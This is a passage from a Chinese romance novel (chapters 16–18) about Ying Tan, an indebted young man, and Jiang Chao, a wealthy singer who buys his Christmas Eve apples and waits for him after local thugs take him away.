应潭听着,时不时“嗯”一声。
当初应潭父母
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出了车祸,父亲当场死亡,母亲住进了重症监护室。
那场车祸的肇事者也丧了命,留下穷苦无依的妻儿。他们卖掉所有家当也拿不出赔偿金,但那时候的应潭没法放弃渺茫的一线希望。
在读初中的少年,打断脊梁骨四处求人借来了二十多万,最后什么也没留住。
“我晓得你不容易,当初是说了你成年后五年内连本带利地还清,”
男人急道,“可你也知道,我做生意赔了钱,现在你舅妈天天跟我吵架,还要跟我闹离婚。”
应潭低低说了句“我知道”。
“我也不指望你一个十八岁的小崽儿去挣来二十万,但你姑姑家那边不是最近做旅馆挣了挺多钱吗?”
“应潭,小潭,咱们都是一家人。要不然你就去求求你姑姑,让她先借你钱周转周转。”
应潭沉默几秒,“她不可能借。”
“怎么就不可能了?你又没开这个口,”
男人抬高声音,“你摸摸自己的良心,你之前还小,在读书,那时候舅舅有找你要过一分钱吗?后来你工作了,一个月就还两三千,我也没说什么。”
“现在舅舅也是实在没办法,小潭,你总不能光挑舅舅一家坑害吧?”
应潭手指动了动。
口袋里的烟盒也被浸得湿透,他指侧碰了碰烟盒边缘,又收了回去。
“我会想办法。”他说,“这阵子赚了笔钱,先转你。”
“这几千几千的小钱不重要,”男人语气缓和下来,“小潭,你早点跟你姑姑提提这事,舅舅这边真的很急。”
脚步声渐远,应潭在楼道里站了几秒,开门进屋。
他与过道里的房东撞上视线。对方似乎吓了一跳,很快转开目光,快步走进客厅。
这种房子不隔音,门外的动静恐怕都被听了个分明。应潭没说话,走至自己的房间外,手握上门把。
门没锁。
他转头,压着戾气,“你进了我的房间?”
客厅里传来声音,房东声音很大,嚷嚷着说:“干嘛?我看有人找你,进去看看你在不在家怎么了?”
“都说了别招惹些不三不四的人上门,大晚上的把门敲得哐哐响,不知道的还以为夺命来了!要是天天有追债的上门,你就趁早搬走!”
应潭舌尖抵住齿关,闭了闭眼睛,没说话。
他开门进屋,目光在窄小的房间里一扫。
床头几本书的位置似乎变了,他下颌微微绷紧,扯过枕头,翻开枕套。
装着钱的信封仍在那里,应潭伸手掂了掂,紧绷的肩颈稍稍松缓。
打零工结现金的多,该找个时间存进银行里。应潭把枕头放回去,拿出手机。
账户余额又一次归了零,他弓着腰坐在床侧,手指插进发间。
二十万,在应潭最意气风发的学生时代,不是什么天文数字。
当初的小少年跟在爸妈身边,板着冷淡的表情,拽拽地说以后能赚大钱,住大别墅,好好给他们养老。
可现在谁有时间聊那什么狗屁未来。
湿透的衣服尚未更换,连带着床单也泛了潮。应潭抬手,粗砺指腹捏住鼻梁,用力摁了摁。
16. 第 16 章
平安夜那一天,江潮接到了家里的电话。
是母亲打来的,在清晨七点的时候。
她听到铃声响,挽着发快步从洗漱间里出来。
许甘翻了个身,嘴里咕哝着梦话,江潮拿起手机接通,轻手轻脚地走出房间。
母亲的声音从听筒里传来,腔调细细柔柔,“溱溱,你现在在哪里?”
江潮轻步下楼,答:“妈妈,我在曲溪。”
对方“啊”了一声,问江潮跨年回不回家吃饭。
江潮抬指,纤细指尖无意识卷了卷发尾,没有立刻回答。
女人又说:“有几个公司里的叔叔伯伯刚好要来一起吃饭,你弟弟也会在家。”
“溱溱,你是不是也好久没有见过小优了?这次回来,刚好可以和弟弟聚一聚。”
须臾安静,江潮走出旅馆,握着手机的指尖微紧,张口。
“不了,妈妈,”她低着嗓,状作苦恼,“我这边还有些事情要忙,没办法回家了。”
很拙劣的借口,但江潮的母亲没有多问。
女人遗憾叹息,说了声“好”,又柔声叮嘱,冬天在外要注意保暖,平日里记得多喝些热水。
江潮一一应下。
曲溪昨夜下过一场小雪,院中与街道上薄薄的一层积雪尚未经过太多踩踏,仍旧晶莹雪白。
直至有车轮滑过,将白净积雪染上一层脏污。
将近八点的时候,旅馆房间的门被敲响。
江潮早已准备好,起身出门。
林斯敬倚着墙玩手机,视线闻声抬起,意外道:“这么快?”
她反手关上门,抿唇笑笑,“我可不赖床。”
早些天乐队收到了一条信息,当地的孤儿院邀请他们前往,与院中孩子们做些活动,带着孩子们唱歌。
活动邀约常有,但大多来自于音乐节、酒吧、甚至婚礼与公司年会,这还是他们第一次收到孤儿院的邀请。
许甘那会儿翻着私信,挺惊奇地提起这件事。江潮听见了,没怎么犹豫,说“我可以去”。
“我今儿也没赖床啊,”林斯敬挑眉,“走吧,车开到楼下了。”
那家孤儿院并不在曲溪,位于与曲溪相邻的一个小镇,开车过去只需要半个小时。
他们到的时候,院长女士和几位老师亲自出来迎接,热情寒暄。
“欢迎、欢迎,江小姐,林先生,我真的没有想到你们会愿意应约。”
江潮扬着笑和他们说话,眼角余光瞥见挤在窗边的几张小脸。
她眼睫轻眨,抬起手,冲那边挥了挥。
有小孩儿脸上登时咧开笑,也有小孩儿捂住脸,害羞地从窗口边跑开。
院内设施颇为简陋,听院长说,这座镇子早些年是没有孤儿院的,直到后来发生了一场大地震。
如今孤儿院中的孩子大多是那场地震中的遗孤,最年幼的也有五六岁了。
“孩子们都已经期待很久了,个个都坐不住。”
院长笑着将他们引进办公室内,又关切问,“这一路上怎么样?没有堵车吧?”
“顺得很,这儿路挺好开。”
林斯敬背着吉他,把相机包放在旁边桌上,问:“咱这儿今天是举办什么活动?平安夜节目吗?”
院长摇摇头,说今天是一个孩子的生日。
“是个小盲童,”她端上温水,“年初的时候还能看见,现在基本上已经丧失视力了。”
林斯敬拉开椅子坐下,“怎么回事儿?出了什么意外吗?”
院长叹息:“是神经系统罕见病。”
江潮坐在椅子上,安静听着,一双眼眸微转,将室内摆设揽入眼底。
这间办公室的装潢同样简洁,摆着电脑与零散文件的木制桌椅,一盆翠绿的平安树盆栽,还有座摆着奖章照片的书柜。
她扫过那些张贴在墙壁上的孩童相片,眼睫微垂。
等他们说完,江潮终于出声,“这孩子的情况,有办法改善或者治疗吗?”
“我可以承担医疗费用。”
她说话时神态沉静自然,好像这是一个很理所当然的决定。
房中另外二人皆是一怔,林斯敬很快反应过来,笑着接话:“这位可是专业人士。”
院长显然有几分惊讶,双手交握,迟疑开口。
“这……是这样的,这个孩子的病情比较特殊。我们带孩子去过城里的医院,医生是说,这类的罕见病暂时没有彻底治疗的方法。”
“如果能去大城市的医院做更深入的检查,对孩子而言那当然是好事,只是最后很有可能会得到同样的结果……我担心会白费江小姐的心意。”
“我的父亲曾经捐助过许多孤儿院,名下设有专门针对此项的慈善基金。”
江潮手搭在膝上,端正坐着,“您不用觉得不好意思。”
“原来是这样,”院长面上浮现欣喜,“您的父亲真是个伟大的人。”
江潮没说什么,垂眸,抿唇笑了笑。
活动被安排在了下午,午饭过后的休息时间。
与院长商谈完毕,江潮便在院中与孩子们同玩。
林斯敬拿着个相机,时不时地把摄像头对着他们拍摄。
江潮不会刻意去寻找相机,也没有刻意回避,只专注于和孩子们的相处。
她长得漂亮,性格也温和,向来有亲和力。
到了下午的时候,一群小孩儿里就没有人不喜欢她,引着他们唱歌也分外顺利。
将至离别,林斯敬去开车,她站在门口等待,挥手与依依不舍的孩子们说再见。
盲杖的声音嗒嗒作响,小盲童跌跌撞撞地跑过来,抓住了她的手心。
“姐姐,”小女孩儿抬起头,一双眼没有焦距,黏糊又期冀地问:“你可以带我回家吗?”
江潮安静几秒钟,曲膝蹲下。
“不行哦,”她捏了捏女孩儿软乎乎的手,轻声答,“姐姐也没有家。”
小盲童仰着脑袋,稚嫩小脸袒露茫然。
江潮碰了碰她的脸,嗓音带着笑,“但如果你乖乖听院长和老师的话,好好长大,以后就可以再见到姐姐。知道吗?”
车辆驶至院门,短暂滴了一下喇叭。
江潮起身,将小姑娘交给赶来的老师,听见了一声脆生生的“知道了”。
回去的路上,江潮分外安静。
她与慈善基金的负责人进行联络,之后便倚着靠枕,沉默地看着窗外。
林斯敬了解她,一路上也没怎么说话,直至她突然开口,说“我在这里下吧”。
他扫了一眼车外景象,已然进了曲溪主城区,离旅馆都并不遥远。
稍稍迟疑,林斯敬开口询问,“要买什么?我在这里等你?”
“没事,你先回去吧,我随便逛逛。”
江潮倾身开门,自若地开着玩笑,“林先生早起辛苦了,也该去补觉了。”
“……那行,你散散心,”林斯敬晃下车窗,不太放心地对她说:“早点儿回来啊,别走太远。”
江潮曾在伦敦度过圣诞节。
广场、公园、塔桥、河畔,入目所及人山人海,熠熠生辉的天使灯与铃铛雪花装点了寒冬夜晚的每一处角落。
这里不同,平安夜的黄昏,街道上并没有多少节日气氛,一切仍旧如常。
曲溪的人们大概并不在意圣诞,只有商场挂起了装饰。
江潮走过街角,瞥见道边坐在板凳上卖编织玩偶的老人。
她靠近,新奇地拿起一只,“这个多少钱?”
老人连忙应声,口齿不太清晰地回答,“一个十五块钱嘞,妹儿,这是俺自个做的,一针针扎出来的。”
竹篮中装了十来只玩偶,江潮低头拿出钱包,“我都要了。”
老人愣了一下,怕自己没听清,忙慌从板凳上起身,“小妹,你说你全、全要啦?”
江潮看见老人有些无措地搓了把手,嘴巴咧开笑,眼尾深深的沟壑分外明显。
她眼眸弯起弧度,点头,“装在一个袋子里就好。”
玩偶没有多少重量,鼓鼓囊囊地装在袋中
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。
江潮继续往前走,眸光稍顿。
邻近他们平日里唱歌的公园,熟悉的少年靠在栏杆边上,懒散地垂着脸。
而在她看过去的那一刹,对方若有所觉地抬眸,黑黢黢的瞳仁微转,定在了她的身上。
江潮眨了一下眼。
她继续向前,然后在经过他时停下脚步。
“……你在卖苹果?”
应潭定定看着她,嘴唇下意识抿成锋锐的直线,不咸不淡的语气,“嗯。”
江潮说:“我买苹果。”
她唇边掩着笑,大概是冷着一张脸的摊主与这一车红艳苹果带来的反差感分外强烈。
应潭默了几秒,从栏杆边直起身,朝着那辆路边的五菱小货车抬了抬下颌。
“自己挑。”
江潮站在小货车边,自然而然地低头,指尖在苹果间翻捡查看。
有几缕发丝顺着脸颊滑落,黑润柔顺,贴着白皙肌肤。
她一只手拎着先前买的玩偶,另一只手拿着苹果,想要将果实装进塑料袋中时犯了难。
应潭抬了抬眉,走上前来,随手撑开袋子。
他瞥一眼她的大包小包,语调平淡,漫不经心地问,“你男朋友怎么没一起出来。”
江潮把一颗苹果放进袋中,避开了他撑在那儿的掌背。
“男朋友?”她先是疑惑,紧接着反应过来,纠正:“只是朋友。”
江潮正经道,“成年人的世界,大家都有自己的事情要做。”
应潭没应声。
须臾寂静,他终于张口,懒懒“哦”了一声,“你当我没成年么。”
江潮观察他。
鼻梁高挺,眉骨深邃,是显成熟的面相,但仍带着属于年轻人的青涩,显然没有彻底长开。
她只是笑,挑好了,递给他结账,“怎么会在这里卖苹果?”
“看不出来?”应潭又靠了回去,“这是平安果。”
江潮稍怔,旋即哑然。
别人卖平安果,总是费尽心思包装,不是在苹果上雕字案花纹,就是为其裹上精美外饰。
还有的商家想尽办法,将蛋糕做成了红彤彤的圆润模样。
……哪有像这样朴素的。
身后有脚步声响起,不知是新的顾客,还是路过的行人。
江潮没再说什么,指尖勾起袋子,透明的细细提手滑至腕间,将柔软肌肤勒出红痕。
她拿出一只先前买下的编织玩偶,递至他眼底,抿唇笑了一下.
“送给你。要吗?”
应潭垂眼,视线落在那只玩偶上。
他呼吸几不可察地轻滞,掀起眼皮时神态却散漫无谓,“送我?”
江潮状作叹气,“买多了,就当是圣诞节礼物。”
“……”
少年静了一静,神色极淡地扯了扯唇角,竟真的伸手接过。
他低眼,骨骼分明的手掌随意把玩那只小小的玩偶,淡淡道:“原来大小姐是在扮演圣诞老人啊。”
又是一声戏谑的“大小姐”。
江潮启唇,有些无奈。只是还未来得及说什么,她耳尖微动,忽地止声。
身后脚步愈近,伴着一声怪声怪气的“哎哟”同时响起。
江潮闭了唇,下意识偏头看向来人。
“——瞧瞧,竟然有人给咱们小应哥送礼物,”
出声的是个左侧眉毛从中断开的男人,尾音拖得很长,视线落在江潮脸上,眼睛登时一亮,“还是个这么漂亮的美女。”
应潭把玩玩偶的手指微顿。
几秒静止,他掀起眼,瞳中光泽顷刻凉薄。
“美女,你这玩偶可是送错人了啊。”
那断眉男人大咧咧靠近,几步走到车边,随手从筐中取出一颗苹果,上下抛了抛,似笑非笑。
“你知道这人是谁吗?”
江潮看着他,眉梢轻颦。
那男人皮笑肉不笑地看了应潭一眼,慢悠悠出声。
“——这可是个欠钱不还的主儿啊。”
17. 第 17 章
来的人有两位,一位脸上特意剃了断眉,另外一位脖颈面庞都有刺青,年纪看着有二三十岁。
一看便知来者不善,江潮没有说话,转眸看向应潭。
看见眼前二人,他方才还勾着些若有若无笑意的嘴唇平直抿起,眉眼刹那间笼上一层戾色。
几秒沉默,应潭直起身,面无表情地将玩偶往车上一搁,手臂在江潮面前挡了挡,示意她退后。
“找你还真够折腾。”
断眉男人目光顺势落在应潭身上,接住抛起的苹果,不客气地咬了口。
“还以为是什么厉害角色,没想到是个二手贩子。”
这几句话有些耳熟。
江潮想起曾在酒吧走廊中听到的对话,恍然将声音与脸对上了号。
她勾着袋子的指尖不自觉地增添了几分力,抿住嘴唇。
应潭近乎背对着她,只能看见小半张侧脸,挺拔鼻梁骨骼微凸,狭长眼尾如铁钩般寒戾。
他一改懒散姿态,脊背笔直地站在那里,仿佛一座孤挺山峰。
“二手贩子,”
应潭一字一顿地重复,宛若在唇齿间慢慢咀嚼这个形容,忽地轻笑,出声时语调桀骜不驯。
“伤好全了?这么快就能下地走路了啊。”
对方没想到他仍旧这般嚣张,“你——”
应潭睨着他,轻嗤,“老子要是想当打手,哪儿还有你们的位置。”
几句话之间硝烟毕现,断眉男人上前一步,额角蹦出青筋,阴恻恻道:“你还真有种啊。”
江潮眼睫轻眨,不自觉咬住下唇。
她应对过许多种不同的场合,其中偏不包括这类。
粗鲁野蛮、剑拔弩张,火药味浓重,像是下一刻就要如恶兽般挥拳相对。
忧虑刚划过心尖,江潮便看见那个满身刺青的男人拦了断眉一下,开口。
“年轻人还挺嚣张,”那人眼睛盯着应潭,意味深长道,“那不如这样。”
“咱们混这一行的,丢了面子就得找回来。听老三说你跟他们闹出了点不愉快,跟我们走一趟、道个歉,权当认识认识,上回那事儿就一笔勾销。”
江潮又一次颦眉,不知道他们在说什么,却下意识觉得这所谓“认识认识”没有那么简单。
她垂眼,不动声色地扯了一下应潭的衣角。
“小美人儿干嘛呢,这没你的事儿。”
她的动作却被断眉男人敏锐察觉,啧了一声,想抓她的手。
“跟个小赖有什么好聊的,买完水果了?要不去跟哥哥喝点水果酒啊?”
江潮心跳微停,来不及往后避,屏息间看见应潭倏然握住那只探来的手臂。
他牢牢握住对方的手腕,指骨泛白,瞳仁黑到不见光,冷冷出声。
“你敢碰她一下试试。”
那双眼冷然睨来,一刹那给人的感觉,仿佛山林间充满危险的野兽,又像是小巷里被侵犯领地后不要命的野犬。
断眉男人下意识退后一步,上次在小巷里狼狈溃逃的记忆重卷心头,背后顷刻间冒出冷汗。
短暂停顿,他恼羞成怒地甩开应潭的手,目光一转,大步冲到那辆五菱货车边,掀翻了一只果筐。
鲜红苹果散了一地,有的落入栏杆内的草丛、沾上草灰尘泥,有的滚至马路,被呼啸而过的汽车碾得稀烂。
江潮还未从应潭那句话森冷至极的语气中回神,意外地睁大了眼。
她的手指不由得攥紧成拳,面容染上罕有的恼意,脱口而出:“你们怎么能这样?”
“怎么能这样?”
断眉男人恶劣望来,捏着嗓学舌,又哄然发笑,“美人儿,你睁眼仔细瞧瞧哥几个,咱们像是什么讲规矩的人吗?扰人生意,老子最会的就是这一套。”
“不过你身边这位也不是什么好人,年纪轻轻就把同学打进了医院,被赶出学校,连高中都没上过——”
应潭下颌线绷紧,冷声打断:“闭嘴。”
他没有去看江潮的神色,视线掠过散落一地的水果,漠然抬眼,“去哪儿?带路。”
江潮不由得上前一步,张唇。
寒冬黄昏,将落的日光透过枯干的树枝,层层叠叠地渲开斑驳光影。
听见她叫他,应潭终于偏过头,看了她一眼。
他迎着日落余晖,一双总是覆着漆黑阴霾的瞳仁到底落了点光,先前与她说话时的散漫笑意却褪了个干净。
像是有什么很深很深的情绪,在眼底慢慢沉下。
“行了。”
仅是一眼,应潭侧开眸,转身时声音极淡。
“早点回去,别一个人乱逛。”
江潮稍怔,攥紧了指尖。
她想起上次遇见的那一位便利店老板,摇着头让她远离他,说这些人没有父母管教走上歪路,天天惹事斗殴,受伤都是自作自受。
只是曲溪是一座很小很小的城,比申城小上几十倍。或许也是因此,人与人才更容易遇见。
她看见他面无表情地修旅馆的灯泡,在汽修店门口撞见他抽烟,在超市里读过他的找工广告。
如今她又在偏僻的小路上遇见了他。
……遇见他在寒冬的圣诞前夜里,安安静静地卖一车不经修饰的平安果。
殷红果实散落一地,有行人路过,投来好奇疑惑的视线。
江潮撇开手里的大包小包,追上他,又一次扯住了应潭。
隔着冬日厚厚的棉服,谁都感受不到对方的体温。她牵扯着那一片柔软布料,察觉到他的身形显然一停。
“你遇上了什么麻烦?”
江潮抬眼,只能看见他漆黑的发,嗓音尽量沉静。
“不用跟他们走,我可以帮你。”
落在衣角的力道不重,像是一片轻飘飘的羽毛。
然而这片羽毛牵动了他的呼吸,仿若落在了心口。
圣诞老人一年只在一个夜晚里出现,她却像是不会停歇。
应潭低眸,视线停留在她攥着衣角的手指。
色泽宛若清晨的雪,指节泛着微微的红。
一句疏离冷淡的“谁都帮不了我”堵在喉口,他喉结滚了滚,启唇时转了个话音。
“这样啊,”他亦然低声,嗓音在此刻仍旧散漫,“那帮我打个电话吧。”
十一位数字,江潮记得谨慎。
她以为对方是什么能够解决纷争的大人物,电话拨通后传来的声音却一惊一乍。
可应潭早已跟他们走远,江潮别无他法,只能在原地等待。
范钱荣匆匆赶到的时候,看到了一个蹲在车边的背影。
是个女人,长发挽在脑后,曲膝伸手,从污雪中拾起沾了泥的苹果。
他觉出一缕熟悉,却想不起这份熟悉感来自哪里,直至看见对方的正脸。
几秒对视,江潮轻怔,范钱荣眼睛瞪如铜铃,仿佛也染上了口吃:“——是是是是你?”
那夜车站里,范钱荣问起应潭二人的关系。应潭闻声睨来,眼中疏淡,写的皆是“别异想天开”。
可如今应潭出事,打电话叫他来的,竟然是这位应潭曾明言“不在同一个世界里”的大小姐。
范钱荣深陷震惊,不知该有什么反应。江潮却已然起身,将最后一枚苹果放进筐内。
“应潭让我打电话给你,”她简洁描述之前发生的事,问他,“我们该怎么办?”
——该怎么办?
范钱荣哪知道该怎么办。
依照他对应潭的认知,应哥在这种事发生时打电话叫他来,多半……多半只是想让他处理这留在街边的一车苹果,免得被城管打包拉走。
可女孩儿看他的眼眸中暗藏期冀,范钱荣死活说不出这样怂的话来。他思绪急转,“你让我想想——”
“呃,那几个来找麻烦的人长啥样啊?”
她一一描述,范钱荣绞尽脑汁回想,死活想不起来应哥什么时候惹上了这样的人。
直到江潮提起上回在酒吧里听到的那一段话。
“操!”他忍不住骂了句脏话,一拍脑袋,险些蹦起来,“是上次的那几个龟孙子!”
那天范钱荣就觉得那几个孙子认怂认得有点儿太快,还提醒越成功把那头奶奶灰染回去,省得在街上走着走着被人套上麻袋。
没想到被盯上的是应潭,他焦躁地抓了把头发,喃喃自语:“要是应哥没惹上桃姐,我还能找白老大的人来帮忙……”
江潮浅浅皱起眉,问:“他们到底是什么人?讨债的吗?”
范钱荣骂道:“一群手脚不干净的地痞,成天干点不能见人的勾当,哪有这样混的。简直是道上败类!”
“……不能
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报警吗?”
“报警有啥用,这帮孙子最擅长的就是缠着人惹事儿,警察来了溜得飞快。他奶奶的,跟蟑螂似的。”
范钱荣拿出手机翻看通讯录,语速很快,“就算进局子待几天也解决不了问题,得背后有人,要不然就交钱平事……”
“操,上回那活儿真是亏到姥姥家了。”
江潮不由得抿唇。
她本以为自己已经能够零散拼凑起应潭的生活,却没想到还有更多她难以想象的过往。
范钱荣拨通了个电话,走到车另一头,不知在说些什么。
一通又一通,夕阳渐渐沉下,隐寂已久的月光洒在她的脚侧。
有摩托停在路边,跳下来个人。那发色太过显眼,江潮稍稍回想,记起这是上次篝火晚会时应潭身边的朋友。
陆陆续续又来了几个人,和范钱荣说话,围一起说些什么。他们时不时会看江潮几眼,视线满是探究。
“找着了,”范钱荣终于回来,“他们的老窝在万平台球厅!”
江潮抬眼。
手机屏幕上亮着空空如也的对话界面,顶端的备注是“江文生”。
她关了手机,一刹那仿佛如释重负,“我们现在过去?”
范钱荣愣了一下,“——你也要去?”
江潮微怔。
人被过往经历造就,江潮清楚知道她性格中不乏缺陷。
忧虑稍稍散去几分,她意识到自己的越界。
她与应潭没有任何关系,连朋友都算不上。
寻常人的好心,也该到此为止。
“……不,我不去。”她话音转开,“等找到人了,给我发条信息吧。”
一群少年风风火火地蹦上了车,那辆载满苹果的五菱货车也被开走。
车轮在积雪中留下辙痕,未驶出街角就又刹了车。
有男生扯着沙哑的嗓门,声音传出老远,“——那是不是应哥?”
江潮倏然转头。
担心已久的那个人披着昏暗夜色走来,将黑色棉服拎在手里,浓墨般的五官渐渐被街灯映亮。
刚褪去伤疤的额侧增添一处青紫,下颌角残留未能彻底抹去的血迹,眼尾勾着醒目淤青。
江潮眼睫轻颤,心尖某块沉甸甸的巨石仿佛终于坠地,张唇时吐出那一口紧绷已久的气息。
她看着他走到朋友身边,手插在口袋里,微微弓着肩颈,姿态散漫不羁。
不算遥远的距离,安静的冬夜长街。
江潮将那一声声“应哥”听得分明,先前那位嗓子沙哑的男生攥拳锤向他的肩,问他怎么不接电话。
他拿出手机看了眼,似是低低说了些什么,紧接着偏了偏脸,朝她的方向看来。
“她啊?我一来的时候就看到她在捡地上的苹果,吓我一跳……”
几秒停顿,应潭扫了眼车内,探手勾起她落下的袋子。
他人高腿长,阔步跨过了车驶出的距离,迫近她身前。
她的面容倒映在应潭眼底,鸦羽般的睫微垂,丹霞般的唇轻抿,往日的温柔笑意散了个干净。
应潭喉口微堵,冷冽凉风穿过齿间,却化为尖锐辛辣的火。
看见她时心底刹那间涌起的情绪滋味难辨,又在此刻慢慢沉淀。他低眸,沉默地递出玩偶与苹果。
江潮伸手接过,错开他滚烫的指侧。
万般思绪交错,她来不及问一句“你没事吧”,无措地怔神。
她想着该怎么解释自己立在这里与他的同伴等到天黑,想着该怎样让常人眼中堪称古怪顽固的举动化为合理。
但江潮不知自己的安静在他眼中是反常而无声的回避抗拒。
气息几乎窒住,应潭指节绷紧。
眼底那一抹色彩渐沉,与深渊般的无尽黑暗相融。他忽地扯唇,似是讥嘲淡讽,突兀开口时嗓音沉沉。
“怕我了?”
江潮下意识抬眼,“什么?”
应潭静默几秒,张唇时仿若染着血腥气,与满身未压抑的野性。
“怕我骗钱不还,怕我出手伤人。”
低哑嗓音落在江潮耳廓,仿佛沾染了一缕转瞬即逝的涩意。
“你都听到了。”
他弓身,稍稍伏低,挟着冷锐戾气逼近,又一次重复。
“所以,怕我了吗?”
18. 第 18 章
江潮怔然。
靠得近了,她清楚地看见他脸侧殷红的伤口,不由得低眸,又看见了他臂弯间破了絮的棉服。
或许江潮是该避而远之。
可是那天夜晚无意间在风中听见的闲言碎语,大概还是在她心底留下了水痕般浅淡的印记。
薄雾于街灯下悄然弥散,张扬的风压垮了枝桠。
她终于回神,拾起沉静自若,往后退了一步,拉开了彼此的距离。
“我只信眼见为实,”江潮回答,“只怕你意气用事。”
她眉尖微蹙,扫过他的伤痕,轻声:“早知道就该当场报警。”
应潭眼底的冷淡沉寂似乎消失了一刹,很快又被掩在了夜色里。
他偏开眼,抬手瞥向掌心刀疤,无所谓地扯唇,“老子烂命一条,打个架又怎么样。”
“……”
女孩儿不赞同地看着他,应潭直起身,退开,浑身戾气不知何时已然收敛。
带着血气的灼热呼吸被平安夜的冷冽寒风掩埋,他开口,突兀道:“手冷不冷?”
江潮眨眨眼,下意识低头看了眼自己的手,不明所以地回答:“还好。”
应潭的视线也落在她的那一双手上。
养尊处优的大小姐,想来这辈子都没用自己的一双手触碰过什么脏污,却屈膝蹲在雪地里,一颗颗地捡起了沾满泥灰的苹果。
他舔了舔嘴唇,察觉到她茫然的神色,忽地转开话音,“回百佳?”
“……嗯。”
应潭散漫道:“我送你。”
江潮认为他现在更该把他自己送去医院。
她站在原地,没跟上,而应潭转头瞥来一眼,又回身。
他身上的气息又一次迫近,骨节分明的长指在她脸侧拓下暗影,最后却只是落在她的肩头,拂开一截坠落的枯枝。
“过来,晚上不安全。”应潭收手,淡声,“不收你钱。”
——这又哪是钱的问题。
江潮在心中轻叹,知道他不会听劝,终于抬步跟上。
不远处那几个少年一直在遥遥望着这边,不敢明目张胆地盯着看,也用眼角余光偷偷摸摸地关注了全程。
江潮过去的时候,便察觉到他们个个像是憋了满腹话要说,却又像是说不出口,表情分外怪异。
而应潭像是未曾发觉,又或许是浑不在意。
他跨上一辆摩托,长腿支着地面,偏过视线:“钥匙。”
几个大男生面面相觑,一把车钥匙被抛来。
应潭精准接住,插/入钥匙。
他朝江潮抬了抬下颌,嗓音微哑,泛着些许懒散,“上车。”
江潮轻轻眨了一下眼。
她以为是乘坐那辆五菱,却未曾想到搭的是免费摩的。
然而众目睽睽,此刻回绝反而徒增尴尬。江潮收起那点不自然,坐上他的后座,彬彬有礼:“麻烦你了。”
应潭透过后视镜睨她一眼,偏头,和范钱荣他们说了几句话。
她将袋子放好,生涩地系上头盔,不熟练地扶住油箱。
应潭收回视线,说了句“坐好”。
马路上没有多少车辆,城镇仿若将要陷入睡眠。但应潭开得并不快。
电话铃声响起,江潮拿出手机接通。
是林斯敬,问她在哪里,什么时候回来。
这一天过得太混乱,江潮忘了晚上约好一起吃火锅。她说,“就回去了,别担心。”
距离太过接近,男人的声音透过话筒,落入应潭的耳中。
他嘴唇抿成平直的弧度,在她挂断电话之后突兀开口,“你很急?”
“嗯?”江潮说,“没有……”
摩托忽地加速,后半句回答被淹没在风声里。
发丝凌乱地扬起,江潮心尖一跳,下意识扶住了他的背,攥紧指下布料。
一声低而短促的闷哼。
江潮没听见,低了低头,想避一避风。
挨过数拳的背部泛着宛若要撕裂开的疼,应潭压紧眉,“抱我腰。”
这句话江潮听见了。
她下意识挪开手,手指无处安放地蜷了蜷。
摩托拐进小路,颠簸不断,她在几秒踌躇后搭上了他的腰。
后视镜里映出张模糊而英俊的面庞,眉眼冷淡不驯,耳根却像是冻伤了,泛上更深的色泽。
寒风呼啸而过,街景连成朦胧不清的光。
这其实是江潮第一次坐摩托车。
长发拍打脸颊,缠入唇齿间,覆于眉眼上。她难得这么不斯文,心跳随着上下坡跌宕起伏,忍不住提要求:“能不能开慢一点?”
兴许是没听清,又或许是恶劣作祟,应潭问:“什么?”
江潮不得不扬起声音,能唱出清亮高音的嗓子,此刻尾音却隐约不稳,“你慢一点!”
他似乎嗤笑了一声,终于缓下速度。
江潮松了口气,察觉到他的轻嘲,为自己辩解,“风太大了。”
他轻啧,评价:“温室里的娇花。”
“……”江潮安静片刻,反驳,“我是仙人掌。”
摩托拐出小巷,驶入一条更窄小的路。道路两侧的小楼商店有些熟悉。
一家门店似乎在装修,前门边堆着乱七八糟的杂物。有戴着手套的工人从店里出来,拉下卷帘门,往外看了一眼。
店顶头牌子尚未摘去,江潮认了出来,“汽修店要改成什么?”
他漠不关心:“不知道。”
原来是丢了工作,难怪会贴出那样的找工传单。江潮无意识抿唇,想起那一句“欠钱不还”。
穿着陈旧衣衫、用着老款手机的年轻人,江潮其实很难将这样的人与欠债二字联系起来。
她抿唇,犹豫稍息,还是开口询问,“那些人缠上你,是因为你欠他们钱吗?”
问这种问题难免会显得冒犯,江潮的性格也并不热衷于探寻他人隐私。
话音落下,她自己便忍不住抬眸,在意着他的神色,却只能看见他脑后的黑硬短发。
应潭答得平静:“不是。”
江潮眼睫轻眨,以为这便是话题的结尾。可他看着前方的路,在短暂停顿后又一次出声。
“给我妈交医疗费,找我舅借的钱。”他漫不经心道,“和那帮痞子能有什么关系。”
江潮怔然。
……双亲因车祸双亡,治病欠下重债。
这简直像是那些催人泪下的新闻,每逢看见,都叫人不由得轻叹厄运只找苦命人。
她心尖微紧,斟酌片刻,只道:“未来还很长。”
应潭默了默。
身后传来的嗓音温柔轻缓,一如明月洒落的清晖。
他喉结微滚,似是要掩饰此刻的异样,吊儿郎当地回:“老子未来一定会翻身。”
“嗯,”她却认真到让他心尖微动,“我也觉得。”
百佳旅馆的小院映入视野,应潭减速,在路边稳当踩停。
江潮才意识到这段路途过得这般快。
她抱着东西下车,腿竟有些发软。应潭眼明手快地扶了她一下,松手时似笑非笑,“仙人掌?”
江潮“啊”了一声,也忍不住弯起眼。
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头一次坐摩托,风大了些,天气冷了些。但那缕冬风滚过心尖,好像也带走了离开孤儿院后心底的沉郁。
“谢谢你送我回来。”她轻轻呼出一口气,目光触及他,想起了什么:“你等我一下。”
正准备转动油门的少年偏头看来:“什么?”
“我房间里有几支药膏,消炎、祛疤,都很好用的。”
他抗拒抬眉:“祛疤?我不抹那玩意儿。”
“涂起来不麻烦的,”江潮耐心道,“以后做生意,痕迹太多,也会有影响。”
“……”
嗓音滞在喉口,应潭垂眼看着她。
女孩儿视线仿若不经意地往他脖颈上落,面容被风吹得有些发白,眼眸却温润明亮。
做生意?
万平台球厅的那一群人不算什么狠角色,但也足够难缠。
重重债务压身,苍蝇阴魂不散,从前信誓旦旦说的那句“还没缺钱到这种地步”仿若笑话。
他舌根泛起难言的滋味,一时寂静。而江潮将他的沉默无言视为默认,又说了句“等一下”。
应潭回过神来,沉沉看着她。待她的背影消失,他抬手熄了火,往口袋里一探。
手机屏幕被踩得稀碎,烟盒更是不知道掉到了哪儿。他只摸出个打火机,笼在掌中把玩。
火苗明灭数十次,思绪辗转百来回,摁开火机的“咔嚓”声清晰可闻,车门开关的动静亦然。
应潭随意一睨,在看清来人时神色微异。
对面路旁,一台关着灯的车边,与她形影不离的那个男人抬步下来。
应潭来时便看见了那辆车,却没想到车中一直有人。
方才风中的肆意沉进瞳底,舒缓的眉眼隐约压紧。应潭没说话,也没有动弹。
